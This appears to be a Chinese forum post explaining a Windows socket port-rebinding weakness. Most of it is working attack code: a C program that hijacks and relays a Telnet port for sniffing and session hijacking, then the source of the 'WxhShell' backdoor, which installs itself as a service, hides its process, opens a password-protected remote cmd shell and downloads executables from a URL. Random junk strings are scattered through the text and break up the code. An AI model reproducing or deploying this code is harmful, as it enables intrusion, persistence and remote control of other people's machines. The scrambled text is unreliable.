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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: F1{?]>G s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
]*kP> =Ov;'MC saddr.sin_family = AF_INET; ;:8jxkx6% 6I5[^fv45G saddr.sin_addr.s_addr = htonl(INADDR_ANY); luG023' 5~ *'>y bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); f//j{P[ wt_?B_nR 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4:%El+,_Y 0IT20.~ 这意味着什么?意味着可以进行如下的攻击: 6bA~mC^& y<'2BTf 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 N~Sue ~PH1|h6 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) m\}\RnZu .LGkr@P 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8+g|>{Vov ]
fwTi(4y 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Js^r]=\F' q)z1</B- 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Xx9~ nfd?@34"A2 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 T^=Ee?e -V<=`e 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &s6(3k ?G%, k
LJJ #include l66ipgw_^I #include %8`1Li6g #include Lu#@~ #include NNREt:+kr
DWORD WINAPI ClientThread(LPVOID lpParam); At^DY!3vx int main() [y&h_w. { 1+PNy d WORD wVersionRequested; XR=c
8f DWORD ret; {]/Jk07 WSADATA wsaData; GO:1
Z?^ BOOL val; PUFW^"LV SOCKADDR_IN saddr; zf!\wY"` SOCKADDR_IN scaddr; t2-zJJf8 int err; {dSU
\': SOCKET s; ,*}g
r SOCKET sc; 1o"oa<*_ int caddsize; /xm} ?t0U HANDLE mt; c402pj
DWORD tid; 5\*wX.wp wVersionRequested = MAKEWORD( 2, 2 ); g9r5t'; err = WSAStartup( wVersionRequested, &wsaData ); RxDxLU2kt if ( err != 0 ) { B6!<@*BI printf("error!WSAStartup failed!\n"); [XU{)l return -1; MFdFZkpiV } Bc"}nSjH saddr.sin_family = AF_INET; .Mft+," "62Ysapq+ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 p$!+2=)gY I9j+x]) saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); d\<aJOi+- saddr.sin_port = htons(23); 63dtO{:4 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *p5T { 9oau_Q# printf("error!socket failed!\n"); !vo '8r?& return -1; h*X%:UbW } UeiJhH,u val = TRUE; NVh>Q>B$_ //SO_REUSEADDR选项就是可以实现端口重绑定的 ZzaW@6LJF if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) f+88R=-u6S { hs#s $})}Z printf("error!setsockopt failed!\n"); s1b\I6&:J return -1; Ue\oIi } aKU8"
5 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; bFdg'_ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]~x/8%e76 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8_,wOkk_B X1PlW8pd if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]` Gz_e { L5|;VH ret=GetLastError(); Kz2^f@5=F printf("error!bind failed!\n"); yW,#&>]# | return -1; (V%vFD1) }
?|rw=% listen(s,2); {.8)gVBmA while(1) n~cm?" { 91Sb=9 caddsize = sizeof(scaddr); hQLx"R$ //接受连接请求 }@0. sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &XTd[_VW! if(sc!=INVALID_SOCKET) D7'0o`| { k 5kX mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6#63D>OWp if(mt==NULL) y(BLin!O. { :v ~q printf("Thread Creat Failed!\n"); |y=F (6Z break; \B+SzW } o:\j/+] } d33Nx)No CloseHandle(mt); *G"#.YvE } ~g|0uO}. closesocket(s); 0s[3:bZ\Ia WSACleanup(); AS^$1i: return 0; 4gt "dfy+ } 6HQwL\r79 DWORD WINAPI ClientThread(LPVOID lpParam) TTak[e&j3 { nezbmpL4 SOCKET ss = (SOCKET)lpParam; ;XuEMq,Di SOCKET sc; l+qtA~V&2 unsigned char buf[4096]; n
9M6wS SOCKADDR_IN saddr; ai9,4 long num; -%$
dFq DWORD val; L 'Rapu DWORD ret; [,X,2 //如果是隐藏端口应用的话,可以在此处加一些判断 q9]L!V9Rv //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 .[s82c]]6 saddr.sin_family = AF_INET; H5t`E^E saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |.W;vc < saddr.sin_port = htons(23); ?E@[~qq_ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C^O^Jj5X% { RL8wSK printf("error!socket failed!\n"); >7Q7H#~w return -1; <cjTn:w } mSeNM val = 100; e:occT if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "A3xX&9-q { @b({QM| ret = GetLastError(); 1yc@q8 return -1; .q }k } k] YGD if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,KaWP { *&MkkI# ret = GetLastError(); 6GvnyJ{[ return -1; X.|0E87 } {mGWMv if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 63$m& ]x { NQ=YTRU printf("error!socket connect failed!\n"); C
=U4|h ~W closesocket(sc); !%9I%Ak^ closesocket(ss); v21? return -1; z6(Q
3@iO } -C<aB750O) while(1) 7C^ nk
z { gvYs<,: //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `h6W@ROb //如果是嗅探内容的话,可以再此处进行内容分析和记录 d5hE!= //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 m"]ys# num = recv(ss,buf,4096,0); 4y.[tk5 if(num>0) rg.if"o send(sc,buf,num,0); IrC=9%pd$R else if(num==0) n
Lb 9$& break; "-%H</ num = recv(sc,buf,4096,0); RGmpkQEp if(num>0) _TF>c:m3 send(ss,buf,num,0); +6atbbe} else if(num==0) *E'K{?-K break; ?f&I"\y } FeLP!oS> closesocket(ss); #J_i 5KmXJ closesocket(sc); Xg,BK0O return 0 ; OFv} jT } KHtY
+93 3LREue7Gr d.A0(*k, ========================================================== v!Z 9T $(U|JR@ 下边附上一个代码,,WXhSHELL u7d]%<~'$F iXFaQ ========================================================== k7*q.2 0 FQ%mNowuj #include "stdafx.h" .&y1gh!= [eRMlSXA #include <stdio.h> xJCpWU3wM #include <string.h> Df (6DuW #include <windows.h> g:U ul4 #include <winsock2.h> ^dqEOW #include <winsvc.h> Cx[4
/~_< #include <urlmon.h> @#apOoVW> <X?F :?Mk #pragma comment (lib, "Ws2_32.lib") L@XeAEIq #pragma comment (lib, "urlmon.lib") tANG ] `Nj|}^A #define MAX_USER 100 // 最大客户端连接数 jPfoI- #define BUF_SOCK 200 // sock buffer o9i\[Ul #define KEY_BUFF 255 // 输入 buffer
<T).+
M/ PJ{.jWwD #define REBOOT 0 // 重启 !_@%/I6 #define SHUTDOWN 1 // 关机 4%TC2Laii 7nmo p7 #define DEF_PORT 5000 // 监听端口 9!LAAE` L6^h3*JyD #define REG_LEN 16 // 注册表键长度 yWzTHW`)Mr #define SVC_LEN 80 // NT服务名长度 iX=*qiVX <CFur // 从dll定义API >EY0-B typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YdFC YSiS typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yFSL7`p+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c\Dv3bF typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); GOt@x9% ]9' \<uR // wxhshell配置信息 mIyaoIE|$ struct WSCFG { |fUSq1// int ws_port; // 监听端口 F}X_I char ws_passstr[REG_LEN]; // 口令 .NKN2 int ws_autoins; // 安装标记, 1=yes 0=no ;>~iCFk]? char ws_regname[REG_LEN]; // 注册表键名 L|<Mtw char ws_svcname[REG_LEN]; // 服务名 &~i1 @\] char ws_svcdisp[SVC_LEN]; // 服务显示名 9g7T~|P char ws_svcdesc[SVC_LEN]; // 服务描述信息 "P6MLf1 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Xy._&&pt int ws_downexe; // 下载执行标记, 1=yes 0=no y.zW>Mfl char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 7P char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z1Wra-g wNlp4Z'[ }; b#sO1MXv (f)QEho7 // default Wxhshell configuration 4
QWHGh" struct WSCFG wscfg={DEF_PORT, 344- ~i* "xuhuanlingzhe", u%FA. 1, ?1YK-T@ "Wxhshell", V{][{5SR "Wxhshell", ?IK[]=! "WxhShell Service", /#tOi[0[ "Wrsky Windows CmdShell Service", *`kh} "Please Input Your Password: ", u7S7lR"lxW 1, 5lT lZRH1 " http://www.wrsky.com/wxhshell.exe", n'SnqJ&} "Wxhshell.exe" j9%=^ZoQj }; hQ9VcS6=gD +U[A.^t // 消息定义模块 ~sOAm char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kp[Jl0K5 char *msg_ws_prompt="\n\r? for help\n\r#>"; %
74}H8q_z char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; j*GYYEY char *msg_ws_ext="\n\rExit."; =dPrG=A char *msg_ws_end="\n\rQuit."; um/iK}O char *msg_ws_boot="\n\rReboot..."; s\@!J.Da char *msg_ws_poff="\n\rShutdown..."; cG.4%Va@s_ char *msg_ws_down="\n\rSave to "; GE|V^_|i RJ`F2b sYN char *msg_ws_err="\n\rErr!"; j
sm{|' char *msg_ws_ok="\n\rOK!"; [l0>pHl@ 4v;/"4)' char ExeFile[MAX_PATH]; %
_ N-:.S int nUser = 0; env]*gx+= HANDLE handles[MAX_USER]; &U:;jlST9 int OsIsNt; zMtx>VI u-D%: lz85 SERVICE_STATUS serviceStatus; V
V<Zl SERVICE_STATUS_HANDLE hServiceStatusHandle; 6:H@=fEv _k&vW(O=: // 函数声明 {$Qw]?Yv int Install(void); ?e0ljx; int Uninstall(void); +d<o2n4! int DownloadFile(char *sURL, SOCKET wsh); 1jDN=hIl int Boot(int flag); *&XOzaVU void HideProc(void); n}EH{k9# int GetOsVer(void); qeypa! int Wxhshell(SOCKET wsl); H+` Zp void TalkWithClient(void *cs); umI@ej+D int CmdShell(SOCKET sock); $/K<hT_ int StartFromService(void); )
}(Po_ int StartWxhshell(LPSTR lpCmdLine); f-^JI*hj c1Skt VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `@RTfBBg VOID WINAPI NTServiceHandler( DWORD fdwControl ); UZz/v#y~ ';Y0qitGB // 数据结构和表定义 qf;x~1efC4 SERVICE_TABLE_ENTRY DispatchTable[] = XU_gvz { ,?S1e# {wscfg.ws_svcname, NTServiceMain}, A{MMY{K3 {NULL, NULL} ]V^ >aUlj }; 8MU+i%hd \8g'v@$wG // 自我安装 wNtC5 int Install(void) W^k95%zBM { $Y,y~4I char svExeFile[MAX_PATH]; 3?5JY;}h>" HKEY key; 9eBD)tnw strcpy(svExeFile,ExeFile); tnE), r'8qZJgm // 如果是win9x系统,修改注册表设为自启动 LGB}:;$AL if(!OsIsNt) { Ym% XCl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VkFMr8@| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *O_>3Hgl RegCloseKey(key); /*P) C'_M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %tB7 &%ut RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q<0X80w> RegCloseKey(key); SP.k]@P return 0; Wz%H?m:g# } A*G ~#v^ } 9A~w2z\G } H-\Ym}BGu else { GXG 7P,p, 1J([*) // 如果是NT以上系统,安装为系统服务 u8.F_'` z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,BUrZA2\U$ if (schSCManager!=0) >
a;iX.K { gFqF&t SC_HANDLE schService = CreateService FY<Q|Ov ( _o[fjd schSCManager, C#-HWoSi wscfg.ws_svcname, ]~2iducB, wscfg.ws_svcdisp, ^"<x4e9+j SERVICE_ALL_ACCESS, =p^$>o SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z_[ P7P SERVICE_AUTO_START, DkX^b:D*f SERVICE_ERROR_NORMAL, `JO>g=,4 svExeFile, @^T~W^+ NULL, 3Q'vVNFh< NULL, .fbY2b([ NULL, p[w! SR%= NULL, ?a#Gn2 NULL SIapY%)h ); 6R,Y.srR if (schService!=0) d(|q&b: { &Ts!#OcB, CloseServiceHandle(schService); *?BY+0 CloseServiceHandle(schSCManager); r1}^\C strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?r KbL^2 strcat(svExeFile,wscfg.ws_svcname); 2TUV9Z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [0EWIdT*b RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Vm|KL3}NRv RegCloseKey(key); w i[9RD@ return 0; d\uN } E447'aJ } tPl 4'tW_ CloseServiceHandle(schSCManager); 0KnL{Cj } <4+P37^~ } 9v_s_QkL2 ;Ax-f04gG return 1; q[_qZ } KJRAW]?{ /i3JP} // 自我卸载 D#UuIZ int Uninstall(void) PQDLbSe)\ { n1J u=C HKEY key; `mzlOB ]R_R`X? if(!OsIsNt) { x>}ml\R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7b+r LyS0 RegDeleteValue(key,wscfg.ws_regname); *mzi ?3 RegCloseKey(key); 2uOYuM[7gH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5>I-? Ki RegDeleteValue(key,wscfg.ws_regname); _8a;5hS RegCloseKey(key); }9+;-*m/ return 0; 4~,Z ' k } hE|P|0U,n } !\X9$4po@ } R3~,&ab else { F%h3?"s B W<Dmn SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sq!$+=1-X if (schSCManager!=0) "iA0hA { #73pryXV SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6N#hN)/ if (schService!=0) g}NO$?ndg { f`n4'dG if(DeleteService(schService)!=0) { fZ$b8 CloseServiceHandle(schService); umIGI CloseServiceHandle(schSCManager); zY*9M3(X return 0; k
ucbI_ } cD0rU8x CloseServiceHandle(schService); 0G+Q^]0 } E`.xu>Yyj CloseServiceHandle(schSCManager); hx9{?3# } )i~AXBt} } )A\
ZS<@Z7 hq
3n&/ return 1; e$J>z { } oX|T&"& L[x`i'0B // 从指定url下载文件 ij
?7MP int DownloadFile(char *sURL, SOCKET wsh) fB8, )& { AJ\&>6GZ(b HRESULT hr; BpZ~6WtBq char seps[]= "/"; 8zp?WUb char *token; )2&3D"V char *file; >v]^nJl char myURL[MAX_PATH]; x4WCAqi/2 char myFILE[MAX_PATH]; >Zb!?ntN`t P_(8+)ud- strcpy(myURL,sURL); Ymz/: token=strtok(myURL,seps); V|8'3=Z= while(token!=NULL) <T}^:2G| { gXxi; g file=token; #EH=tJgO|J token=strtok(NULL,seps); `HX:U3/ } 8A#,*@V[ S(gr>eC5 GetCurrentDirectory(MAX_PATH,myFILE); 5#GMp strcat(myFILE, "\\"); 'H530Y\ strcat(myFILE, file); ]SQ+r*a send(wsh,myFILE,strlen(myFILE),0); '(.5!7?Qc send(wsh,"...",3,0); QP(0 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (!*
l+} if(hr==S_OK) =\<NTu return 0; B!wN%>U else Va8
}JD return 1; $e\s8$EO wW%b~JX } ~<[+!&<U 2Re8rcQQU // 系统电源模块 $gl|^c\ int Boot(int flag) &W45.2 { |{#St-!-7 HANDLE hToken; Jh-yIk TOKEN_PRIVILEGES tkp; 1aAOT6h ),x0G*oebj if(OsIsNt) { eKiDc=@ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ``/L18 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @NM0ILE tkp.PrivilegeCount = 1; f Fi=/} tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A[l
)>: AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Va?]:Q if(flag==REBOOT) { Ichg,d-M-K if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) DGHSyB^+1 return 0; HhynU/36 } sPNm.W$_ else { <V^o.4mOg> if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uH89oA/H return 0; <WUgH6" }
I bD
u+~) } Fg`<uW]TFZ else { 02,t if(flag==REBOOT) { q]4h#?.-1v if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y3;M$Jr return 0; ep8UWxB5 } Q&I # else { ,1I-%6L if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vAM1|,U return 0; "}X+vd`` } !60U^\ } ^li3*#eT dQ*^WNUB return 1; +(!/(2>~ } (VO'Kd V?OTP&+J% // win9x进程隐藏模块 Fx!D:.)/G void HideProc(void) VP!4Nob { 4rDVCXE T'6`A<`3 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3/gR}\= if ( hKernel != NULL ) *C55DO^w { @tSB^&jUWu pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1V]ws}XW ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3D6&0xTq FreeLibrary(hKernel); <<-L,0 } S0StC$$1 .$s']' = return; Wu6'm&t } Q&0`(okb &yP|t":HWX // 获取操作系统版本 bj`GGxzOb int GetOsVer(void) v2tVq_\AMx { )@9Eq|jMC OSVERSIONINFO winfo; 2c]751 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *04}84?: GetVersionEx(&winfo); ITl>HlS if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z
8M\(< return 1; P$z%:Q else
Qq6'[Od return 0; '__>M>[ } jv v= auGK2i // 客户端句柄模块 -'O|D} int Wxhshell(SOCKET wsl) HPu+ 4xQV { lV:feX SOCKET wsh; /t`|3Mw struct sockaddr_in client; sCJ|U6Q- DWORD myID; &*o4~6pQ# XzIC~} while(nUser<MAX_USER) %7-(c
{ '0~?zP int nSize=sizeof(client); u`wD6&y* wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @H$8;CRM if(wsh==INVALID_SOCKET) return 1; 5s\;7> X2I_,k'fQ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q7e4MKy7 if(handles[nUser]==0) Vo^J2[U closesocket(wsh);
E,\)tZ;, else >o13?-S%e nUser++; I*j~5fsS' } fJ\?+, WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p&$PsgR @C^x&Sjm return 0; l?IeZisX } O13]H"O_ 8.jf6 // 关闭 socket BPkL3Ev1V void CloseIt(SOCKET wsh) LmyaC2 { fe<7D\Sp@ closesocket(wsh); 6:S,
{@G nUser--; Z3MhHvvgp{ ExitThread(0); Fs~*-R$ } gnzg(Y]5w /~s<@<1!X // 客户端请求句柄 Rs{8vV void TalkWithClient(void *cs) .7
)oWd! { ?7)v:$(G} LH}9&FfjU SOCKET wsh=(SOCKET)cs; sZ&6g<8#y char pwd[SVC_LEN]; qT$ IV\;_ char cmd[KEY_BUFF]; vO$cF* char chr[1]; `-CN\ int i,j; #%ld~dgz- )TVd4s(e while (nUser < MAX_USER) { xMQ>,nZ (Nz`w if(wscfg.ws_passstr) { 1yz%ud-l if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &QD)1b[U //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nu+^D$ait //ZeroMemory(pwd,KEY_BUFF); 0+1!-Wo i=0; 0+qC_ISns while(i<SVC_LEN) { :4 z\Q] ]!!?gnPd5 // 设置超时 bJ
6ivz fd_set FdRead; e0TxJ* struct timeval TimeOut; ny+r>>3Td FD_ZERO(&FdRead); 2V%z= FD_SET(wsh,&FdRead); /kyO,g$9 TimeOut.tv_sec=8; x
~)~v?>T TimeOut.tv_usec=0; gloG_*W int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4qE4 i:b if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MC,Qv9m XRkUv>Yk if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "XV@OjrE pwd =chr[0]; S-\wX.`R1 if(chr[0]==0xd || chr[0]==0xa) { 6~ y' pwd=0; b"#S92R+ break; @+zWLq!1pB } CeOA_M i++; rxMo7px@}I } t {1 [Ip 2.Ww(`swL // 如果是非法用户,关闭 socket A9SL|9Q if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xjnAK!sD } D9P,[:" ` W);+s send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 19(x$=: send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;c]O *\/ <4;,
y*"n while(1) { saZK+kD4I wTR?8$ ZeroMemory(cmd,KEY_BUFF); lU=VCuW! Rvf{u8W // 自动支持客户端 telnet标准 C^'r>0 j=0; 8/)q$zs while(j<KEY_BUFF) { S/pU|zV[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \6APU7S cmd[j]=chr[0]; ?(B}w*G~ if(chr[0]==0xa || chr[0]==0xd) { yyu -y0_ cmd[j]=0; BHgs, break; Kc^ctAk7; } *UW 8|\; j++; !~F oy F } ZW"f*vwQo 3"0QW4A // 下载文件 a(O@E%|u if(strstr(cmd,"http://")) { 4mp)v*z send(wsh,msg_ws_down,strlen(msg_ws_down),0); mM/#(Ghl if(DownloadFile(cmd,wsh)) avG#0AY send(wsh,msg_ws_err,strlen(msg_ws_err),0); B[8RBTsA else AriV4 + send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U{lf$ } <x;g9Z>( else { g]44|9x(W &e).l<B switch(cmd[0]) { zSsBbu: ;XZN0A2 // 帮助 Dn#5H{D-d case '?': { s2N'Ip send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sP@XV/`3L6 break; W}D[9zo/ } .uX(-8n ~ // 安装 MMaS case 'i': { qa~ju\jm. if(Install()) :Zq?V`+M send(wsh,msg_ws_err,strlen(msg_ws_err),0); K]>4*)A: else ^HP$r* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u|ihUE!h break; UDcr5u eKn } .|L9}< // 卸载 ^Vh^Z)gGi case 'r': { at*DYZBjDB if(Uninstall()) &];W#9"Z send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8?EKF+.u| else 5c%Fb:BW= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1T~`$zS7 break; {~EsO1p } l_
x jsu // 显示 wxhshell 所在路径
TK>~)hc} case 'p': { 4T)`%Oo<} char svExeFile[MAX_PATH]; $V<fJpA strcpy(svExeFile,"\n\r"); (]fbCH: strcat(svExeFile,ExeFile); t?weD{O send(wsh,svExeFile,strlen(svExeFile),0); XNvlx4 break; KV{ } >K%+h)%kI // 重启 T0@<u case 'b': { gK *=T send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cUi6 On1C if(Boot(REBOOT))
G}WY0FC6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); b|k(:b-G&. else { ]nxSVKE4p closesocket(wsh); [zrFW
g6N ExitThread(0); -"Nvu } K7q R break; 9I1`* 0A } yWH!v]S // 关机 2'ws@U}lR case 'd': { AQ"rk9Z send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mI^S% HT if(Boot(SHUTDOWN)) ?%Pi#%P send(wsh,msg_ws_err,strlen(msg_ws_err),0);
? EhIK else { J]NMqiq closesocket(wsh); 01%0u8U ExitThread(0); 1)-VlQK p } Ci3
b(KR break; H,!yG5yF } =$kSn\L, // 获取shell R++w>5 5A case 's': { $D*Yhv!/ CmdShell(wsh); B|AIl+y closesocket(wsh); u$"Ew^C ExitThread(0); P$/Y9o
break; 2.a{,d } !,DA`Yt // 退出 HIlTt case 'x': { wI[J> 9Qn send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); clT[?8* CloseIt(wsh); > mP([] break; NQd0$q } Oh7wyQiV // 离开 r)dXcus case 'q': {
G/_8xmsU send(wsh,msg_ws_end,strlen(msg_ws_end),0); q:,ck@-4 closesocket(wsh); 7C@m(oK WSACleanup(); MnW"ksH exit(1); 2$joM`j$ break; xHn "D@ } |f[:mO } %/K;!'7 } P#2#i]- XiyL563gh // 提示信息 s#(<zBZ9p# if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^F+7@*u } <TEDs4
C } 6[]O3Aa +tv"j;z return; h]^=
y.Q } ?Aky!43 /|[%~`?BM // shell模块句柄 EvDg{M} int CmdShell(SOCKET sock) $&0\BvS { 5S%#3YHY2 STARTUPINFO si; V_H0z ZeroMemory(&si,sizeof(si)); SMHQh.O?5 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e:iqv?2t si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +2^Mz&I@b PROCESS_INFORMATION ProcessInfo; \.MPjD char cmdline[]="cmd"; I- WR6s= CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HVM(LHm=: return 0; S(5&%}QFQ } zWq&HBs Q|W~6 // 自身启动模式 @D=i|f int StartFromService(void) }LdeU:E4 { G\H |\i typedef struct ^$J.l+<hy { 95BRZ!ts DWORD ExitStatus; d2<+Pp DWORD PebBaseAddress; hkvymHaG DWORD AffinityMask; p!p:LSk"/b DWORD BasePriority; &v&e-|r8; ULONG UniqueProcessId; :3 By7BZgj ULONG InheritedFromUniqueProcessId; 4*_. m9{ } PROCESS_BASIC_INFORMATION; @"BkLF 4[f>kY%[ PROCNTQSIP NtQueryInformationProcess; l=ZX9<3 bxF'`^En static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oa8xuFu(n static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V=5v7Y3(j ZD`0(CkXb HANDLE hProcess; CJ[^Fi?CH PROCESS_BASIC_INFORMATION pbi; 5$"IUq* Om C
